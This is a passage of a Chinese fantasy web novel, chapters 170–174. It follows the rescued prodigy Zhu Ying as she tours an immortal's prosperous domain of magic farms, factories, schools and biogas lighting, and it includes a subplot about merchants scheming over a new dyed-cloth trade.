祝应虽说好奇,但不至于在这里询问,于是便先走了进去,而寻宁则是表示自己还需要留下来给师姐传递消息,这会暂时不能跟随着回去了。 等到祝应走进那传送光门时,注意到仙人不曾跟进来。 她慢慢前进,仔细感受着这金门的不同来。 ——摸起来是热的,肉眼可见是一条条细线组合而成的金色通道。 这通道路很短,她没走多久便发觉到了终点。 等到走到尽头,从光门出来后,就看到尽头突然开阔起来。 祝应微微捂住被光线刺激到的双眼,而后有些惊诧地看着眼前一幕。 现在是十一月了,雪都下了,按道理不会出现眼前这一片绿意盎然的生机。 但事实是,眼前一片片农田似乎在告诉她并非如此。 这些农田上还有不少村人正在劳作,虽说弯腰辛苦劳作,但看上去各个脸带笑容,不像是被逼的,更像是发自内心地去做。 等看清楚那农田内都种植了什么东西后,祝应顿时愕然。 ——等等,为何如今还能种植不符合节令的农作物? 要知道那棉花,大豆,这些东西绝非是如今能种植的东西。 她往前走了几步,这会后知后觉感觉到有些热。 再细细打量,察觉这些农人都穿着轻薄的衣物,——这里的气温和外面的不一样。 很快,祝应得出以下结论。 她站在出口处,观察了良久,倒是有人过来迎接她。 不是别人,正是里正娘子。 祝应站在原地,久久没有动弹,而后缓缓开口:“王娘子” 里正娘子也站在原地,细细地打量着眼前这个熟悉的人。 ——很像祝小娘子,但她知道祝小娘子还在那庆山寺内,而非会在此地。 犹豫片刻,要不要开口,却看对方试探着叫出她名字。 里正娘子突然楞在原地,身体剧烈颤抖,而后这才缓缓抬头,回应她。 “祝小娘子?真的是您?” 祝应点头,原先王娘子是她母亲一手培养起来的账房娘子,天资颇为聪慧,负责协助她母亲管理旗下农田,铺子,后来在母亲死后,王娘子念及母亲,素日对她多有帮扶,且中间许多事,王娘子帮了她不少,直到后续她被祝父威胁着离开。 一晃已有十六年,十六年,她本以为要再见不到熟悉的人或事,谁能想到,王娘子竟然还好好地站在眼前。 主仆相聚,里正娘子不由落泪。 “祝小娘子,金娘子她们等人也在此处,我这就让人捎个话,她们一会就过来。” 提及到新的名字时,祝应不免愣在原地。 这会不由开口追问:“金娘子也在?” 金娘子也是她母亲留给她的亲近人手,懂武,又精通管理,当初祝府管理没少靠着金娘子。 倒是没想到如今还能继续见面。 祝应原先被救出来时,还感觉人在飘,这会却觉得踏踏实实踩在了实地上,这些熟悉的人,便是她的锚点。 里正娘子连连点头。 “自然,等到晚上您就能看到她们了,不过既然您先来了,我便带您在这里看看。” 里正娘子心里想的却是仙师到底还是靠得住,这才过了半年,就能将被困了十六年的祝小娘子拯救出来。 同时,她打量一番祝小娘子,看她虽说瘦了许多,却也不像是被祝家折磨过,这会说话也带着谨慎询问。 “他们对您如何?我看您现在身子还好?” 祝应有些微楞,而后苦笑。 “若仙师来得再迟一些,我应当是没救了。不过好在仙师亲自给了我三颗丹药,救下了我,不过往事再继续说也无用,王娘子,你先带我看看这就好。” 听着祝应淡定的话语,里正娘子不免心头微微叹息。 那句轻飘飘的话,却让里正娘子眼内不由地闪过泪花。 祝小娘子从小就坚强,有什么不好的事都是一笔代过,这十六年想来是受了不少苦。 若说一开始王娘子是看在祝母过往的提拔和关怀下对祝应好,但越往后,这孩子坚强又善良的性子倒是真真让她心疼。 再加上是从小就在跟前伺候着,里正娘子自然对她的爱护做不了假。 那会被祝父被迫送出府后,本以为自己会被杀死灭口,岂料倒是留了她一条命。 那时候她就知道,自己这条命完全是祝小娘子救下来的。 定是她威胁了什么,那仿若豺狼的祝家才会松手。 既这会祝小娘子不想再提过往,里正娘子定是听她话。 这会挨个给她介绍着。 “您看这,这一片都是仙田,虽说如今已经十一月底,外面下雪,但仙田气温适宜,依旧还能继续种植不同季节的作物,且在仙田内,作物每隔一天便会成熟。 这是地瓜,长这般模样,吃起来味道甘甜,除了直接食用外,村里里建设了地瓜厂,用于制作粉条,其产物酸辣粉便是代表特色。且这酸辣粉在仙师的加持下有保胎之效。 这是大豆,仙师指导我们开设了豆腐厂,说是吃豆腐会让身体更健康,且这豆种十分优秀,产量,抗性都是以往不曾见到过的。 这是棉花,新品种,只是还不曾将种子发放下去,我想应该是明年事宜季节发放。 至于这边是小麦,这小麦产量高,吃起来香,已经被拿走下去让人播种,等明年就能收获了。 至于这些在农田忙碌的农人,则是山下村民过来的,每日日薪一百五十文,包吃住。” 里正娘子说到这里时停顿片刻,生怕祝小娘子跟不上。 倒不是说她不认可祝小娘子那天才头脑,而是因为这些东西实在是太过于新奇,若是没做好心理准备,接受起来确实需要时间。 祝应微微发愣片刻,好在先前她曾经亲眼看到过仙师用那等诡异手段惩治那些人,再加上还看到过仙师开放那金色传送光门,种种看下来,她现在倒是接受良好。 不过在听到这些农人竟然每日还能拿到日薪一百五十文的工钱后,还是让她吃了一惊。 ——若说那些奇特之事仙人确实能做到,但像这种更流于世俗方面的东西,她没想到仙人竟会如此细心? 祝应一时间失语,随后缓缓开口问:“这是仙人要求的?” 她指的是那工钱一事。 提及此事,里正娘子不免露出敬佩之色。 “是的,仙师当初定下的最低日薪便是一百文。” 祝应瞪大眼睛,——在她看来,无论从哪个话本子,或者故事,或者典故内,仙人的形象都是高傲怜悯的,但她却第一次看到这样的仙人。 先是降雨,而后救了她,等到了此处,仙人竟还能关注于民生 祝应心中震撼一片。 ——这样几乎是无所不能的仙人,却如此心怀天下,而那些稍有作为的人,却各个高傲,不肯再看百姓一眼。 她不免在心中暗自感慨,原先只是大概推测仙人应当是良善的仙人,但眼下亲眼看到这些后,祝应便知晓,这位仙人可能会是她此生所追求的,像是明君一样的存在。 里正娘子继续引着她往前走。 “这边是矿产区,生产铁,盐,铜,煤炭,足够日常使用。” 里正娘子走到盐池附近,让祝应去看那洁白细腻的盐巴。 “您看,这盐便是我等用仙师所提供的方法生产的,比原先产量高,且更为细腻。 盐湖每年可生产出三百五十万石盐,最重要的是,价格很便宜,但凡是仙师旗下的百姓,皆可享受两文钱一斤的价格。” 祝应微楞,脸庞流露出不可置信。 两文钱?《 》 170-180 第171章 印象 难道是听错了? 要知道粗盐价格都得十文钱一斤了,在十六年前,细盐的价格也是居高不下,平常点是30文一斤,贵的时候50文都有,且更别说此盐要比那50文一斤的食盐还要细腻,怎会定价这么低? 里正娘子敬佩道:“这是仙师要求的,我想是因为盐作为日常生活最重要的东西,仙师并不想拿此物获利,所以这才决定将此物拿出来,确保旗下百姓能用最少的价格吃上盐。” 祝应不免微微震撼。 她过往见过不少黑暗,也遇到过不少好人,但却不曾有一人像是仙人这般,明明位置已经足够高,却还要俯身听她们这样的蝼蚁说话。 二人往前走,里正娘子继续介绍:“这里是学堂,算是我们接受仙界知识的地方,里面不定期会教学,但教学内容随机,所以就有了专门负责记录学堂内容的人。” 祝应看向里面,果然看到里面有两人正在负责记录。 且其内洁白,无论是座椅还是别的,都让祝应有种第一次见的新奇感。 她进去坐着体验了一会,倒是觉得有些像是原先上学的感觉,只是讲课的人换成了这运用了仙法的仙人而已。 祝应颇为好奇地看着那片白布。 据说这白布是仙法的载体,只有它,仙法才会投映下来。 第一次看到人物出现在这白布内,对祝应的心里震撼程度不可谓不大。 至于学堂内容讲的是农业方面的技巧,祝应静静地听了有一炷香,倒是被这技巧惊艳。 ——完全不曾听过的新奇技巧,她原先酷爱读书,早就将各类书籍都看了一遍,但这知识她确定自己绝没有听到过,看到过。 若不是因为还需要继续查看此处,祝应甚至都想继续多听会。 不过此刻还是眼带不舍地跟着里正娘子离开了。 等到两人继续前行,直到看到一八角楼时,里正娘子笑着开口:“这便是集闻楼,其内有仙师放进来的数本书籍,我相信之后您一定会天天过来看的。” 祝应看着这堪称精致的八角楼,心底倒是涌出一阵好奇。 二人一起进入楼内,在看到名为“电梯”一物时,祝应颇为惊讶。 里正娘子伸手按下楼层按钮,祝应感受到一阵悬浮感觉,而后片刻则是到了相对应的楼层。 ——这可比走楼梯快多了。 微微蹙眉,思索此物运行原理,祝应倒是稍微有些眉目,这会想的却是这样的电梯,若是用在运送货物上定是很好用。 当她进去后,倒是惊诧于其内的藏书,密密麻麻,颇为壮观。 且内倒是有人借阅书籍,这会正坐在座位上看着。 里正娘子看着那负责管理盐池的杨延,和对方微微点头,而后继续替祝应介绍。 倒是杨延有些好奇地看着这跟着里正娘子身后的女子。 看着岁数不大,应当是世家小姐一类的,毕竟无论是气质亦或是神态,或者是皮肤状态,都不像是普通人。 长得很高,比不少男人都要高,脸庞不带笑意,姿态清冷,看人的时候自带一种上位者的气息,眼神是说不出的凌厉。 杨延被对方扫了一眼便乖乖收了眼神,专注于自己的书籍。 虽说他是挺好奇的,但可以等到之后再去问里正娘子,毕竟都是同事。 而祝应则是伸手拿出一本书,大致翻阅后,便被其中所写呆愣在原地。 她看的是一本讨论数学的书籍。 原先她对这方面有所研究,甚至将整个大炎朝的数学书籍都借阅看了一遍,当时十六岁的祝应自认为再也不会有书籍会让她震撼了。 但等细看此书所写,才察觉自己原先的研究实在是差太多了,这书籍内容虽说晦涩,但祝应稍微适应后便畅读通畅,而后越读越兴奋。 等到最后还是里正娘子劝她借阅此书,她这才恋恋不舍地拿着这书,继续跟着里正娘子参观此地。 仅仅过了不到一个时辰,祝应便觉得自己未来应当会很喜欢替仙师效力。 毕竟这里许多东西实在是太对她胃口了。 等二人继续往前走,便看到了药房,内有人正在忙碌着,看着像是正在炮制药材。 但除了炮制药材外,祝应注意到他们似乎在收集着什么东西。 不等开口,里正娘子先解释。 “那是他们在收集青霉菌,先前有人恶意投毒,风仙县内爆发了瘟疫,最后还是靠着青霉素让民众活了下来。” “青霉素?” 自来了这处,各种新奇的名词简直是一个接着一个。 只是这青霉素竟这般有用? 要知道她还从未听说过瘟疫会有那效果好的药物可以防治,且听王娘子所说,这药物基本上是药到病除。 再想得深一些,若是此药能运用到战场,亦或是防护疫情上的话,想必绝对会是一个巨大的进步。 祝应内心微动,这会早就习惯了询问。 里正娘子则是回复道:“我了解的不多,只知道此物可退烧,对于瘟疫极为有效,且对于别的高热,感染,也颇为有用。 但具体是如何做的,我倒是不知,改天您可亲自问问其内的方大夫。” 祝应微微点头,虽说好奇,但她还能忍。 继续前进,倒是看到了一片竹林,在茂盛的竹林中,不远处倒有一简朴小屋隐在其中。 里正娘子带着敬意开口:“这便是仙师的住所了。” 祝应看着那简朴的小屋,只觉得内心深处涌现出一股敬佩。 ——仙人竟如此高尚,要知道就连农人们住的宿舍看起来也要比这小屋要精致许多。 果然,仙人对于外物的需求很低。 祝应叹息,或许只有到仙人这般层次,才会抛弃身外之物,去追寻那些心灵上的平静。 一头雾水的姜定:???不是,这谁说的那是他不想换住所吗,又贵又难攒资源,钱都要花在刀刃上,对于他来说,住所的升级顺序无限顺延,毕竟他只需要睡觉存档功能啊 当然,真实的想法无人知晓。 里正娘子眼内闪过敬佩,继续道:“不仅如此,仙师不许我等为他塑像” 祝应难免惊叹。 要知道,对于仙人来说,百姓的信仰应当属于是有用的东西才对吧? 但仙师竟连所谓的信仰都不需要。 原先她在黎州时,从小便要跟着父亲去寺庙道观烧香拜佛,虽说她认为这没用,但所谓要对未知保持敬畏。 但等越长越大,看清楚了那所谓的道观寺庙都干些什么勾当后,祝应对神佛方面完全没有好感,深觉此等是为了控制百姓而存在的东西而已,属于另外一种精神上的控制。 谁能想到,她竟能看到仙师这般仙人。 本想着呆在原地等待仙师会见自己时,却见王娘子呆愣在原地,而后片刻后向她走来。 “仙师说了,让我带您下山去看看,说等您完全考虑好了再考虑是否选择追随他。” 其实听到这话时,里正娘子都觉得微微错愕,毕竟仙师最近已经很少联系她,再者,她没想过仙师会说出这样的话。 在里正娘子看来,只要是亲眼看到过仙师做了什么,那便不可能不心动,不可能不想为了他效力。 祝应被这话说得心头微动。 ——先前她被救下时,隐约知晓仙人不坏,但总归还不了解,但随着对仙师越来越了解,倒也能接受为他效力。 但这话一出,祝应却觉得一种被尊重的感觉油然而生。 尤其还是仙师这般如同明月高悬的仙人。 祝应那颗僵硬的心缓缓跳动,尤其是在经历了那糟糕的,被控制的十六年后。 在她的人生中,前十六年仅存的真实的善意便是身旁王娘子,金娘子等人给的,其余人,看她永远是那个天才祝时。 人们疯狂于她的才华,拼命想靠近她,为了除了她这个人以外的别的东西而接近她。 那个时候祝应倒也不在乎,毕竟她觉得自己有选择的权利。 但后十六年,真正爱护自己的人已经被逼着离开,身边全是想要强迫她做事的人,祝应感觉到了耻辱。 那种生死全部被控制,像个工具一样的耻辱感油然而生。 为了那些曾经爱护过自己的人,祝应不敢死,像是被牵了绳子的鸟一样,想飞,却在刚起飞时被狠狠一拉脚上的绳子,摔下来后还要被迫唱歌取乐于人。 现在她倒是没觉得被逼迫,甚至开始想为那位效力时,仙师却还给了她拒绝的机会。 一时间,高下立判。 祝应不免呆愣在原地,久久难以回神。 眼前很快再次出现那道金色光门,里正娘子随着祝应进入其内。 等到二人从里面出来后,先看到的便是斗坡村。 村路最近正在实行联合村落的计划,所以修路在所难免。 祝应有些疑惑。 “这是哪个城镇?” 等听到是斗坡村时,祝应还在大脑内搜索其内对于此村落的记忆。 ——没有。 不可能。 祝应记得清楚,当年她当各个城镇的名字记得清楚,且那城市下水规划也是按照地形设计的,这么繁华的村落,她绝不会不记得才是。 里正娘子忙解释。 “斗坡村原先不过一破落小村而已,是仙人介入才让它变成了如今模样,您可知晓风仙县?” 祝应脑内片刻便定位到了这消息。 “自然记的,属于明州境内最为偏僻的县,以往税收都是吊底的存在。” 里正娘子捂嘴微笑。 “这斗坡村不过是这风仙县旗下的一个小村落而已,现在附近的几个村落被县令大人下令联合起来,组成一个大一些的村落,好方便管理。 不过可别小瞧这村落,里面可是有三个工厂。” 第172章 重塑 提及到工厂,祝应不免好奇。 “此为何物?” 里正娘子挨个介绍:“有先前我说过的地瓜厂,负责生产地瓜干,粉条。 豆腐厂,生产豆腐以及各类豆制品。 最后一个便是酒厂,那里面生产的绝对是美酒。” 边说,里正娘子边带着祝应进了来乐客栈。 这来乐客栈是赵金构旗下产业,生意做得是如火如荼,无论是住宿还是吃饭都是斗坡村特色。 远道而来的旅人,商人,手里钱足够的,都会选择在这里打尖住宿,毕竟无论是环境亦或是食物品质,都要更好一些。 里正娘子决定晚上便将祝应先安排在此处,直到祝应想好了后再去见仙师。 祝应进了店内,发现人竟然不少,且来往均是操着不同口音的人,这会倒是很快意识到此处定是交通枢纽。 看来那三个工厂的作物十分受欢迎,若无利可图,这些商人们绝对不会过来的。 一进到屋内,倒是十分暖和,祝应只觉得是店家烧了炭火,并没多问。 点菜时是里正娘子负责点的,等到菜色陆续上齐了后,她主动为祝应一一介绍。 “您看,这便是斗坡村特色美食,里面包含了地瓜,豆腐做成的各色吃食,尤其这腐乳肉和豆豉鱼是这里的名菜,您尝尝。还有这酒,正是那酒厂酿造的美酒,只要您一喝便知。” 祝应先是谢过里正娘子的招待,而后品鉴眼前吃食。 ——看着不像是她原先见的那样精致,但是一入口,口感确实独特。 等吃一口烤红薯时,祝应不免微微唏嘘。 这名为地瓜之物,仅仅是烤熟了竟然会这般可口,和放了蜜糖没区别。 至于那酸辣粉,她也尝了一口,酸爽上头,粉条劲道,简直是一种完全新奇的体验。 等到吃到那名为豆腐一物后,祝应只能感受到那豆腐在口中微微用舌尖一抿便化了。 里正娘子笑着解释:“这是嫩豆腐,这老豆腐吃着更Q弹一些。” 祝应点头,细细品鉴这嫩豆腐,而后再次夹起一块麻婆豆腐。 这豆腐入嘴Q弹入味,又辣又奇特,在嘴巴里碰撞简直就是一种享受。 等到陆续再尝到了那豆干,豆皮,以及那特色臭豆腐后,即便是以往见多识广的祝应都开始感慨这斗坡村特色确实有趣,更何况别人? 等到品鉴那美酒时,祝应不免心头震撼。 ——等一下,这酒,滋味确实不同凡响。 简直吊打她以往喝过的任何酒水,就连她曾经喝过那些人特藏的酒水,也无法和此等酒水相比较。 似乎是看出来祝应的惊诧,里正娘子微笑着解释:“这酒水采用了新方法加工而成,所以才会如此风味,除了本村的几个大客栈有售的,别的地方都不正宗。” 祝应难免细细品味,再喝了一杯。 “真是好酒,想来产量不高。” 毕竟物以稀为贵。 “想必价格不菲,王娘子何故如此破费?” 祝应有些叹息,倒是里正娘子忙解释。 “不贵,一斤60文,只是看运气,卖的很快,大部分时候都轮不到买就售空了。” 祝应微微呆愣。 这等美酒只需要60文一斤? 要知道若是这等美酒运到黎州那地,轻松可卖出高价。 别说她不是特别擅长经营,但也能轻松做到此事,若是那等会笼络人心的商人则会更容易做到。 一时间,祝应握着酒杯的手不自觉紧了几分。 而后缓缓松开。 既已尝完了这特色美食,里正娘子带着祝应继续在斗坡村转悠。 祝应倒是安静观看着往来行人,发现不少百姓均是面露喜色,各个精神抖擞去上工。 里正娘子笑着解释:“只要是村里的人,人品合格的都去了工厂上工,每日最低也赚一百文,工作轻松,只需要干四个时辰就下工了,可不是得开开心心的。 且这会,有一份工厂的工作,那可是很被人羡慕的存在。 不过要说的话,也得说生在这处的百姓运气好,因为一开始的工厂便建设在此地,需要的人口多,倒是占了便宜。 若是风仙县的话,虽说也有别的零活赚钱也不少,但总归百姓还是想要个稳定点的,所以想进工厂上工没这么容易。” 祝应倒是很快明白了其中蕴含的意味,这会不由地暗自思索。 ——看来这工厂盘活了此地经济。从原材料到制作过程,再到购买人群,这完全形成了一个闭环。 祝应不免感慨,而里正娘子则是继续开口:“今日天色已晚,明日我带您去风仙县看看,那里发展的也非常不错,和原先那个风仙县可谓是完全不同了。” 原先的风仙县? 祝应对此县的了解就是当初给亲自画过下水系统图,当初记得她来此地时,风仙县百姓和别的地方百姓没有区别,都一样麻木疲惫。 当时她自画那下水系统图各处奔波,百姓的眼神见多了,不免心生疲倦,不知自己当官是为何,等到了黎州元城后,越发觉得大炎朝需要改变。 但若是想要改变,就必须自己先到达一个足够高的位置才行。 至此,祝应致力于提升官位,同时多次对民生问题写了不少建议给圣上。 当初圣上还算明君,她倒也真心实意地想为大炎朝做贡献,但自从她被祝家控制,祝时代替她,且小皇帝接任后,大炎朝倒是一日不如一日。 其实伴随着岁数增长,祝应倒是看明白了当初她的许多想法都是错误的。 并非走得越高,越能改变这个世道,而是深入世道,从底部改变才是正确方式。 这会亲眼看着这斗坡村,不知为何,她想到了原先她曾想过的东西。 ——以百姓为基础的改变,看来这里是做到了。 因是冬季,天黑得很快,想来天黑后走路不好走,祝应正打算开口提议回去时,便看到整条街道亮了起来。 这还真不是她夸张,这灯光的明亮程度完全吊打她曾看到的每一盏灯。 凑近一看,发现这灯的造型也是十分古怪,还是里正娘子开口解释:“您有所不知,这灯叫做沼气灯,用于照明,一来亮度高,二来价格便宜。” 祝应好奇:“沼气?” 里正娘子这才想起来自己竟忘了给祝应介绍这新奇东西了。 “怪我,这等大事我忘了。” 于是便将沼气的用途一一告知祝应,等听到沼气可用作取暖,做饭,照明,且价格不过每月200文时,祝应这会是真震惊了。 虽说里正娘子不懂得沼气灯的原理,但祝应隐隐约约能猜测到这东西大概是怎么来的。 但为何会这么便宜? 若是已经能用作取暖做饭,岂不是说明柴火和煤炭都会受到冲击? 再说照明的话,想来油灯也跌了不少。 几乎瞬间,祝应就想到了之前吃饭时屋内那暖和的感觉来。 当时她只觉得是炭火,还心想这炭火给得是挺足,竟让人生不出丝毫冷意,这会得知,那是沼气取暖的效果。 不免心头震撼。 ——效果竟然如此好,若这物广泛应用,不知道要造福多少百姓。 一时间,祝应呼吸微微急促,脑内瞬间想到了此物的诸多用法。 而里正娘子则是继续开口:“除了沼气外,仙师还命县令大人制作便宜的棉衣被褥,每家每户限购,好让百姓度过这个冬天。” 祝应不免再次被仙人所震撼,这会一时半会甚至不知道该说些什么。 等到走到学堂时,里正娘子娘子继续笑着道:“您看,这便是学堂和扫盲班。扫盲班是仙师要求的,若是想要在此地上工,必须要先从扫盲班毕业后才允许上工,上扫盲班期间,流民的话,吃住免费,若是本地人,则是会有一些微薄的奖励。” 祝应被这新奇之事吸引了注意力。 “这扫盲班都教些什么?” 里正娘子缓缓开口:“一些最为基础的东西,譬如拼音,譬如乘法表,卫生方面的,以及最简单的认字算数什么的。” 祝应微楞,对仙师再次敬佩至极。 要知道为了统治方便,当权者不愿意让百姓们接受教育,尤其还是这样强迫性质的扫盲教育,他们恨不得百姓都愚昧无知,而非有自己思想,毕竟有了思想日后管理就麻烦了。 再一思索,祝应很快就反应过来,此地大大小小各个板块联动起来,简直强得离谱。 因为高薪资促进百姓去上扫盲班,同样因为高薪资,这些百姓不会因为扫盲班给的微弱奖励而故意赖着延缓学习进度。 且因为是自发性学习,一来是省得费口舌,二来是效率高,三来是对未来接受新的制度更为容易。 祝应陷入沉思,心中对仙师更为敬佩。 这真是环环相扣,一步都少不了。 等听闻学堂入学没有限制条件,且学费一年才一两后,祝应微楞。 ——一两?一年?好小众的词语。 不是她大惊小怪,若是这话让任何一个黎州人听到,都会觉得这是痴人说梦。 毕竟不说一年,一个月的花费早就要超过这个价格了。 且还是笔墨纸砚都不算的情况下。 里正娘子领着祝应去学堂透过窗户看着屋内,等看到其内坐着的人男女老少都有,一时间,祝应不免心情复杂。 倒不是她接受不了,而是她原先就是这般想的。 一个学习知识的地方,本就不该因为年龄,性别,地位而做出限制,人人都应该有学习的机会,而非只有男人,只有有钱,只有地位高,才能去学习,去掌握那些不曾知晓的知识。 第173章 演员 原以为这想法或许永远不可能实现,但她现在却是亲眼看到了。 看着学堂内那各个鲜活的脸庞,她不免心头微震。 等从学堂离开后,祝应一颗心还在跳跃不止。 尤其是听说了初级班,中级班,高级班的分类,以及班内教学内容后,甚至她都生出了想进去学习一番的想法。 而之后祝应倒是见了金娘子一批人,主仆相聚,自然是有诸多话要说。 一行人便在那来乐客栈内,也是祝应暂时落脚的地方互相询问过往。 等到人走后,里正夫人也先告辞,说明她明日带着祝应去风仙县看看。 这时,祝应倒有心情开始研究先前一直想研究却没机会研究的房间内新物品。 ——马桶和沐浴设备。 为了了解清楚,祝应特意喊了小二过来讲解如何使用,等到听到使用方法竟如此简单后,倒是连连称赞。 沐浴设备洗漱起来异常方便,里面都是提前烧好的水,从淋浴头出来便是温水,而那马桶倒是第一次见,用起来干净又舒适。 和过往生活一对比,祝应不免叹息。 她前十六年已经算过得相当不错了,但要仔细说来,幸福感还没在这里当个普通百姓要来得多。 毕竟她用不上这么先进的东西。 第二日,里正夫人果然准时过来,二人乘车前往风仙县。 而与此同时,方知意则已收到了寻宁发来的新情报。 看着上面所写的祝家一事真相,方知意这会倒是惊讶。 没想到竟然能牵引出来这般复杂之事,且竟然仙师主动出手介入此事。 看来那名叫祝应之人应当十分优秀才是。 一时间,方知意倒有些迫不及待想见见这个传说中的祝家天才。 而至于黎州,眼下倒是风云涌动。 一切皆是因为祝家父子意外失踪一事。 这消息回传回来的速度很快,毕竟祝时无故不上朝,皇帝自然询问一二。 结果一问不得了,这祝府二人竟然齐刷刷消失了。 在祝府查了许久,除了查到那农妇外,别的一无所获。 皇帝大怒,毕竟像祝时这样的天才,可以说他的意见不听,但若是人消失了,失去了一个天才,这依旧让皇帝心疼不已。 “查下去!必须要将此二人去向查个明白!” 一时间朝廷内部风云涌动,而不少人则是纷纷向祝家女眷打探那二人去向。 至于那举止怪异的农妇则被送入牢内严加审讯,直到问出一些让人迷惑的东西。 但紧靠着这些东西,完全无法断定那二人去了何处。 一时半会,时间毫无进展,皇帝恼怒之余,但看在以往祝时和祝父,以及工部尚书的面子上,只能先亲自慰问一番祝家女眷们,好暂时让祝府安宁下来。 而祝时的娘子正是工部尚书之嫡女,自丈夫意外消失后,自然立即联系了父亲。 工部廖尚书则是暗地里问了女儿不少东西,大意是想问出有没有什么事瞒着他,毕竟这二人消失,对于自己,亦或是女儿,都不是一件好事。 廖小娘子哭诉她不曾隐瞒父亲,丈夫却意外消失了,这会惶惶不安,不知自己未来如何。 廖尚书阴沉着脸,踱着步,心想先等几天,让手下人去查,若是找到了任何危险的蛛丝马迹,他必须要立刻让女儿和那祝时和离。 哪怕是单方面的。 等哄好了女儿,命人送她回去后,廖尚书派人细查此事。 往日祝时高调去的医馆自然也遭到了询问,但问来问去,倒是也没能问出个结果,看来这件事还需要细细追查才是。 一时间,黎州内倒是兴起了鬼神一说。 有说祝时天生灵气非凡,这样的天才本就容易遭到意外,有可能是和祝父二人被恶鬼吸食后迫害。 也有人说祝时本就是天上的神仙,这会或许是被仙人引渡着去了仙界,至于那祝父或许也是沾了光呢? 说什么的都有,但目前来看,还是被迫害一说更让人信服。 毕竟人是平白无故消失的,若是真像后者所说,至少不会这么急吧?至少那孩子,娘子不都得带着? 这事惹得黎州大大小小,无论是道观,亦或是寺庙都满员。 各个为了安心去求个符纸守护,或者让大师给念咒加持。 一顿折腾下来,倒是道观和寺庙的人和银两都多了数倍,有时候日常小聚时,众人会互相谈论此事,最后定是要以哪家符纸,或者是大师灵验得很作为收尾。 不过这事起初还闹得沸沸扬扬,但时间一久,众人倒是将注意力逐渐分散到了别的事上。 譬如整个黎州最近倒是有一新奇之事吸引了众人注意力。 市面上有新布料流出了。 虽说只是普通棉布,但这布料颜色十分正宗,是纯粹的靛蓝和红色。 不是以往有杂色的那种,而是实打实的纯色。 不过价格自然是要比普通布料贵了一些,但同时这新布料固色做得很好,下水后极少褪色,且暴晒后颜色保持得要比普通布料好多了。 这是一家新开业的布料店,门店不算大,中规中矩。 但架不住它主动宣传啊。 主要宣传手段一是宣传本店布料由海岛特色染料染制而成,二则是拿出两色布料放在门口,再拿着普通布料让百姓们亲自对比。 除了肉眼可见的区别外,还会亲自下水,让百姓看看这布料到底固色如何。 等到看完这实打实的宣传后,不少人还真动了心思。 毕竟这两种颜色需求量高,谁家不娶妻生子,办点喜事?或者谁不穿那靛蓝色料子的衣服上工干活? 这两种颜色倒是死死拿捏住了硬需求的一批人。 这会哪怕价格要比普通布料高一些,但奔着耐穿的优点,稍稍犹豫后众人依旧选择购买新布料。 再加上听说这布料是用特制染料制作的,众人更是觉得值了。 一时半会,倒是抢了个痛快。 等众人购买了一番,亲自试验这布料确实如同宣传所说,多次洗涤仍颜色靓丽,这会倒是各个呼朋唤友,前去采买布料。 当然,这些人群大都是至少吃喝不愁的人,高层次的东西够不到,棉布还是能买得起的。 黎州各个布料行发现不对劲的时候是自家这两个颜色的布料竟然卖得尤其少。 这才打听一番,但等知晓真相后,各个不由面面相觑。 ——先前他们倒是听过这新开业的布料行,但当时只是觉得不过是噱头而已,且并不曾听过此店铺有何背景,自然没放到心上去。 但眼下明显是影响自家生意了,这会各个忍不住聚在一起,想方设法地思索着该如何破解此法。 当然,其中最着急的就是黎州最大的布料行吴掌柜。 此人经营布料生意已有多年,倒是头一次遇到这样的事。 眼看之后影响甚多,于是便率先和对方联系上了。 本以为用自己的威慑能够轻易让这种外来户知道什么该做,什么不该做,结果谁能想到对方一番暗含隐喻他们背后的靠山,倒是让吴掌柜颇为犹豫了。 倒不是说他被唬住了,而是据他得知,这些小道消息确实是真的。 一时半会,反倒是自己丢了面子,吴掌柜不免心态微崩。 但是没崩太久,就听对方提出了新的建议。 对方建议他可以从自己手中拿货,毕竟这可是未来的趋势。 看到吴掌柜一副深思熟虑的模样,对面不免诱惑他。 “吴掌柜,您想的就是太多了,不过是棉布而已,如何能影响你的位置,且只有两种颜色而已,不伤根本。” 话虽这么说,但吴掌柜知晓,这绝对不行。 现在这就是对方的第一次试探,他原本就被对方拿捏了一波,眼下若是从对方手中进货,岂不是还要用自己的人脉,店铺去为对方做嫁衣? 这是万万不可的。 正想挥手告辞,却听对方幽幽开口,而后又缓缓叹息。 “吴掌柜何故如此,我等背后之人既已考虑要攻下整个市场,今日是请您和我们合作,便是我等的诚意,若您今日不同意,我等便去找下一个合作之人,您猜猜我们能不能找到合适的合作对象?” 吴掌柜不免心头狂跳,一时间被这话噎了一下。 ——虽然很不想承认,但现在对方有背景,有优质货源,迟早要走到那一步。 咬牙之际,对方又再度开口。 “吴掌柜,我们合作的话,在下保证您能从我们这里获得更多的利润。” 这算是挽留的话了。 吴掌柜忍不住蹙眉。 ——对方说得没错,确实,若和他们合作,他能想到之后会有多赚钱,但同样的,风险也大,极为容易被对方所反噬。 但换句话说,若是他现在不合作,对方去找了别人,他甚至连搏一搏的机会都没有。 一番思索,吴掌柜发现自己陷入了一个绝望的境地,前进后退,都是危险。 等对方笑盈盈要送客之际,吴掌柜咬牙选择了同意合作。 他没办法——这只能说先跟上走的人才能多吃几口肉。 等到送走吴掌柜后,此人这才将消息快速回传给了远在风仙县的赵金构。 这人是赵金构认识的一位商户,脑子灵活,胆子很大,最擅长语言交涉。 也正是因为如此,这忽悠人的活计才被交付给了他。 不过那些透露出去的细微情报倒是真的,那些基本都是慎刑司那伙人查到的东西。 八成的真话和两成的假话,可信程度直线上升,让人无法分辨真假。 更别提此人是天生的演员,自然是忽悠得吴掌柜一愣一愣。 第174章 希望 在确定合作的当日,吴掌柜便从此人手中拿走了大批量的红色,靛蓝色布料分散到自家的各个布料店内。 而此人不单单是和吴掌柜谈合作,同时也主动钓鱼,等着别的布料商过来找自己。 原先凝聚成小队的布料商在看到吴掌柜都已合作,这会哪来得及多思索,忙着急去求合作了。 毕竟在他们看来,只是供两个颜色而已,还是棉布,对他们的布料行冲击不大。 像是那些更小的商户则是更淡定了。 他们所有的布料都是从别人手中进货的,自然是哪家火爆买哪家了。 更别提这新布料一看绝对不会赔,运营好了还会赚一笔的类型,谁愿意放弃这个机会? 其实在吴掌柜没去找之前,倒是这些小布料店纷纷着急着上门求购的居多,眼下在吴掌柜求购后,这些小布料店掌柜们来得更多了。 毕竟大布料商都购入了,这想必是未来的趋势。 自这两个颜色的新布料上市后,原先旧库存倒是卖不动了。 有的靠着降价,还有的则是骗着卖出去。 譬如以一个稍优惠的价格卖新布料,实际上,售出的全是旧布料,但演示和一开始时,则是用的新布料,等到稍微卖开了便换成旧布料。 